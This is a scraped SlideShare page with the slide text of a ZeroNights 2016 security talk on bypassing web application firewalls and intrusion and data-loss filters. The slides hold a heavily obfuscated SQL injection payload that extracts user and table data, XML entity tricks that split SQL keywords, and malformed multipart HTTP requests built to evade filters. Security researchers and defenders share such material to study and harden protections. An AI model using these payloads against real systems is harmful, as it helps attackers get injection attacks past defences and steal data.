SlideShare a Scribd company logo
1 of 31
ZeroNights 2016
Whoami
Anton “Bo0oM” Lopanitsyn
● security researcher
● whitehat
● bug bounty practicant
● JBFC member
Types of bypasses
Protocol
parsing
(HTTP,
WS, ...) Data parsers
(Base64, XML,
JSON, ...)
Detection
logic
Detection logic, bla-bla-bla
1 UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO
frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere
!FAlSE||tRue&&FalSe||FalsE&&TrUE like TruE||FalSE
union/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)li
ke'admin'limit 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION
SeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM
information_schema.statistics WhERE TABLe_SCHEmA
In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM
information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select
(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from
(@@version))),floor(pi()),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351,
ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53)
,0x4C696768744F53)FROM floor(version()) FOR
ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),!
!true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--
cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-
cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-
floor(pi()))),0x6d7973716c))from(select--
(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00
Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(`use
r`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM
InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not
in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION
SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION
SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
Data parsers
<?xml version="1.0" encoding="utf-8"?>
<bla></bla>
<data>&lt;?xml version="1.0" encoding="utf-
8"&gt;&lt;!ENTITY XXE
Attack&gt;&lt;bla&gt;&lt;/bla&gt;</data>
<bla></bla>
Data parsers
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY a "UNI">
<!ENTITY b "SELE">
<!ENTITY c "pass">
<!ENTITY d "FR">
<!ENTITY e "admins">
<!ENTITY f "WHE">
<authorid>-1 OR &a;ON &b;CT &c;wd &d;OM &e;
&f;RE id=1</authorid>
HTTP requests & HTTP parsers
Content-type: multipart/form-data, boundary=AaB03x
--AaB03x
content-disposition: form-data; name="field1"
Joe Blow
--AaB03x
content-disposition: form-data; name="pics"; filename="file1.txt"
Content-Type: text/plain
... contents of file1.txt ...
--AaB03x--
Multipart
POST /hello HTTP/1.1
Content-Type: application/x-www-form-urlencoded
param=Attack
POST /hello HTTP/1.1
Content-type: multipart/form-data, boundary=AaB03x
--AaB03x
content-disposition: form-data; name="param"
Attack
Content-Disposition: form-data; name="param"text"text"'test';
Content-Disposition: form-data; name=”param
Content-Disposition: form-data; name=param
Content-Disposition: attachment; name=param
Content-Disposition: name=param
Content-disposition trick
Content-Disposition:
attachment;
name
=
param
Attack!
Content-Disposition tricks
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary
Content-Type: multipart/form-data; boundary=Test
Content-Type: multipart/form-data; boundary
--Test
Content-Disposition: form-data; name=param
Attack
Headers tricks
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary
Content-Type: multipart/form-data; boundary=
Content-Type: multipart/form-data; boundary
--
Content-Disposition: form-data; name=param
Attack
Headers tricks
Headers tricks. RFC? What is RFC?
POST / HTTP/1.1
Content-Type: multipart/form-data; xxxboundaryxxx=Test;
boundary=hello;
--Test
Content-Disposition: form-data; name=param
Attack
Content-Type: multipart/form-data; boundary=gg
Content-Type: multipart/form-data; boundary=ggg
Content-Type: multipart/form-data; boundary=gg
Content-Type: multipart/form-data; boundary=ggg
Content-Type: multipart/form-data; boundary=ggg
Content-Type: multipart/form-data; boundary=!ggg
Content-Encoding: gzip
HTTP compression
Previous tricks ;)
PHP + %00
PHP <3
POST /phpmustdie.php HTTP/1.1
Content-Type: multipart/form-data;
boundary=Testx00othertext;
--Test
Content-Disposition: form-data; name=param
Attack
PHP <3
POST /phpmustdie.php HTTP/1.1
Content-Type: multipart/form-data; boundary=Test;
--Testx00othertext
Content-Disposition: form-data; name=param
Attack
PHP <3
POST /phpmustdie.php HTTP/1.1
Content-Type: multipart/form-data; boundary=Test;
--Test
Content-Disposition: form-data; name=param
Attackx00othertext
POST /hello HTTP/1.1
Foo: bar
Foo: bar
...
Foo: bar
Foo: bar
Content-Type: application/x-www-form-urlencoded
param=Attack
POST /hello HTTP/1.1
Content-Type: application/x-www-form-urlencoded
param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A*(8kb)’ union select from ...
Anton “Bo0oM” Lopanitsyn
https://bo0om.ru
i@bo0om.ru
@i_bo0om

More Related Content

What's hot

What's hot (20)

Introduction to path traversal attack
Introduction to path traversal attackIntroduction to path traversal attack
Introduction to path traversal attack
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
File upload vulnerabilities & mitigation
File upload vulnerabilities & mitigationFile upload vulnerabilities & mitigation
File upload vulnerabilities & mitigation
 
CSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVCCSRF Attack and Its Prevention technique in ASP.NET MVC
CSRF Attack and Its Prevention technique in ASP.NET MVC
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Reverse proxies & Inconsistency
Reverse proxies & InconsistencyReverse proxies & Inconsistency
Reverse proxies & Inconsistency
 
Time-Based Blind SQL Injection
Time-Based Blind SQL InjectionTime-Based Blind SQL Injection
Time-Based Blind SQL Injection
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
Introduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & DefenseIntroduction to CSRF Attacks & Defense
Introduction to CSRF Attacks & Defense
 
Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webserviceTime based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
 
CSRF Basics
CSRF BasicsCSRF Basics
CSRF Basics
 

Viewers also liked

Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
Positive Hack Days
 
TCP/IP Network ppt
TCP/IP Network pptTCP/IP Network ppt
TCP/IP Network ppt
extraganesh
 

Viewers also liked (12)

VolgaCTF | Bo0oM - DNS and attacks
VolgaCTF | Bo0oM - DNS and attacksVolgaCTF | Bo0oM - DNS and attacks
VolgaCTF | Bo0oM - DNS and attacks
 
Bo0oM - Deanonymization and total espionage (ZeroNights, 2014)
Bo0oM - Deanonymization and total espionage (ZeroNights, 2014)Bo0oM - Deanonymization and total espionage (ZeroNights, 2014)
Bo0oM - Deanonymization and total espionage (ZeroNights, 2014)
 
Fuzz.txt
Fuzz.txtFuzz.txt
Fuzz.txt
 
Разведка боем
Разведка боемРазведка боем
Разведка боем
 
Zeronights 2013 - воруем домены
Zeronights 2013 - воруем доменыZeronights 2013 - воруем домены
Zeronights 2013 - воруем домены
 
Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group
Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru GroupДмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group
Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group
 
Geek Picnic 2015 - Большой брат следит за тобой
Geek Picnic 2015 - Большой брат следит за тобойGeek Picnic 2015 - Большой брат следит за тобой
Geek Picnic 2015 - Большой брат следит за тобой
 
пресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковпресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банков
 
Intercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколенияIntercepter-NG: сниффер нового поколения
Intercepter-NG: сниффер нового поколения
 
You're Off the Hook: Blinding Security Software
You're Off the Hook: Blinding Security SoftwareYou're Off the Hook: Blinding Security Software
You're Off the Hook: Blinding Security Software
 
DeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows KernelDeathNote of Microsoft Windows Kernel
DeathNote of Microsoft Windows Kernel
 
TCP/IP Network ppt
TCP/IP Network pptTCP/IP Network ppt
TCP/IP Network ppt
 

More from Дмитрий Бумов

More from Дмитрий Бумов (18)

2000day in Safari
2000day in Safari2000day in Safari
2000day in Safari
 
Partyhack 3.0 - Telegram bugbounty writeup
Partyhack 3.0 - Telegram bugbounty writeupPartyhack 3.0 - Telegram bugbounty writeup
Partyhack 3.0 - Telegram bugbounty writeup
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
ZeroNights 2018 | Race Condition Tool
ZeroNights 2018 | Race Condition ToolZeroNights 2018 | Race Condition Tool
ZeroNights 2018 | Race Condition Tool
 
Defcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаDefcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs Шурыгина
 
DC7499 - Param-pam-pam
DC7499 - Param-pam-pamDC7499 - Param-pam-pam
DC7499 - Param-pam-pam
 
KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>
 
VolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSPVolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSP
 
Отравление кэша веб-приложений
Отравление кэша веб-приложенийОтравление кэша веб-приложений
Отравление кэша веб-приложений
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
RIW 2017 | Все плохо
RIW 2017 | Все плохоRIW 2017 | Все плохо
RIW 2017 | Все плохо
 
Skolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMSkolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITM
 
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramPHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
 
Armsec 2017 | 2 bugs 1 safari
Armsec 2017 | 2 bugs 1 safariArmsec 2017 | 2 bugs 1 safari
Armsec 2017 | 2 bugs 1 safari
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Не nmap'ом единым
Не nmap'ом единымНе nmap'ом единым
Не nmap'ом единым
 
Bo0oM - Ты такой смешной XD #securitymeetup
Bo0oM - Ты такой смешной XD #securitymeetupBo0oM - Ты такой смешной XD #securitymeetup
Bo0oM - Ты такой смешной XD #securitymeetup
 
Bo0oM - There's Nothing so Permanent as Temporary (PHDays IV, 2014)
Bo0oM - There's Nothing so Permanent as Temporary (PHDays IV, 2014)Bo0oM - There's Nothing so Permanent as Temporary (PHDays IV, 2014)
Bo0oM - There's Nothing so Permanent as Temporary (PHDays IV, 2014)
 

Recently uploaded

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 

Recently uploaded (20)

A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Advantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your BusinessAdvantages of Hiring UIUX Design Service Providers for Your Business
Advantages of Hiring UIUX Design Service Providers for Your Business
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
The Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptxThe Codex of Business Writing Software for Real-World Solutions 2.pptx
The Codex of Business Writing Software for Real-World Solutions 2.pptx
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 

Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже пояса. Обход современных WAF/IPS/DLP

  • 2. Whoami Anton “Bo0oM” Lopanitsyn ● security researcher ● whitehat ● bug bounty practicant ● JBFC member
  • 3.
  • 4.
  • 5.
  • 6. Types of bypasses Protocol parsing (HTTP, WS, ...) Data parsers (Base64, XML, JSON, ...) Detection logic
  • 7. Detection logic, bla-bla-bla 1 UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE like TruE||FalSE union/*!98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)li ke'admin'limit 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION SeleCt(selEct(sELecT/*!67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM information_schema.statistics WhERE TABLe_SCHEmA In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select (collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from (@@version))),floor(pi()),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351, ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53) ,0x4C696768744F53)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),! !true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-- cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))- cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))- floor(pi()))),0x6d7973716c))from(select-- (select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00 Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(`use r`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLECT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
  • 8. Data parsers <?xml version="1.0" encoding="utf-8"?> <bla></bla> <data>&lt;?xml version="1.0" encoding="utf- 8"&gt;&lt;!ENTITY XXE Attack&gt;&lt;bla&gt;&lt;/bla&gt;</data> <bla></bla>
  • 9. Data parsers <?xml version="1.0" encoding="UTF-8"?> <!ENTITY a "UNI"> <!ENTITY b "SELE"> <!ENTITY c "pass"> <!ENTITY d "FR"> <!ENTITY e "admins"> <!ENTITY f "WHE"> <authorid>-1 OR &a;ON &b;CT &c;wd &d;OM &e; &f;RE id=1</authorid>
  • 10. HTTP requests & HTTP parsers
  • 11. Content-type: multipart/form-data, boundary=AaB03x --AaB03x content-disposition: form-data; name="field1" Joe Blow --AaB03x content-disposition: form-data; name="pics"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x-- Multipart
  • 12. POST /hello HTTP/1.1 Content-Type: application/x-www-form-urlencoded param=Attack POST /hello HTTP/1.1 Content-type: multipart/form-data, boundary=AaB03x --AaB03x content-disposition: form-data; name="param" Attack
  • 13. Content-Disposition: form-data; name="param"text"text"'test'; Content-Disposition: form-data; name=”param Content-Disposition: form-data; name=param Content-Disposition: attachment; name=param Content-Disposition: name=param Content-disposition trick
  • 15.
  • 16. POST / HTTP/1.1 Content-Type: multipart/form-data; boundary Content-Type: multipart/form-data; boundary=Test Content-Type: multipart/form-data; boundary --Test Content-Disposition: form-data; name=param Attack Headers tricks
  • 17. POST / HTTP/1.1 Content-Type: multipart/form-data; boundary Content-Type: multipart/form-data; boundary= Content-Type: multipart/form-data; boundary -- Content-Disposition: form-data; name=param Attack Headers tricks
  • 18. Headers tricks. RFC? What is RFC? POST / HTTP/1.1 Content-Type: multipart/form-data; xxxboundaryxxx=Test; boundary=hello; --Test Content-Disposition: form-data; name=param Attack
  • 19.
  • 20. Content-Type: multipart/form-data; boundary=gg Content-Type: multipart/form-data; boundary=ggg Content-Type: multipart/form-data; boundary=gg Content-Type: multipart/form-data; boundary=ggg Content-Type: multipart/form-data; boundary=ggg Content-Type: multipart/form-data; boundary=!ggg
  • 22.
  • 23.
  • 25. PHP <3 POST /phpmustdie.php HTTP/1.1 Content-Type: multipart/form-data; boundary=Testx00othertext; --Test Content-Disposition: form-data; name=param Attack
  • 26. PHP <3 POST /phpmustdie.php HTTP/1.1 Content-Type: multipart/form-data; boundary=Test; --Testx00othertext Content-Disposition: form-data; name=param Attack
  • 27. PHP <3 POST /phpmustdie.php HTTP/1.1 Content-Type: multipart/form-data; boundary=Test; --Test Content-Disposition: form-data; name=param Attackx00othertext
  • 28. POST /hello HTTP/1.1 Foo: bar Foo: bar ... Foo: bar Foo: bar Content-Type: application/x-www-form-urlencoded param=Attack
  • 29. POST /hello HTTP/1.1 Content-Type: application/x-www-form-urlencoded param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A*(8kb)’ union select from ...
  • 30.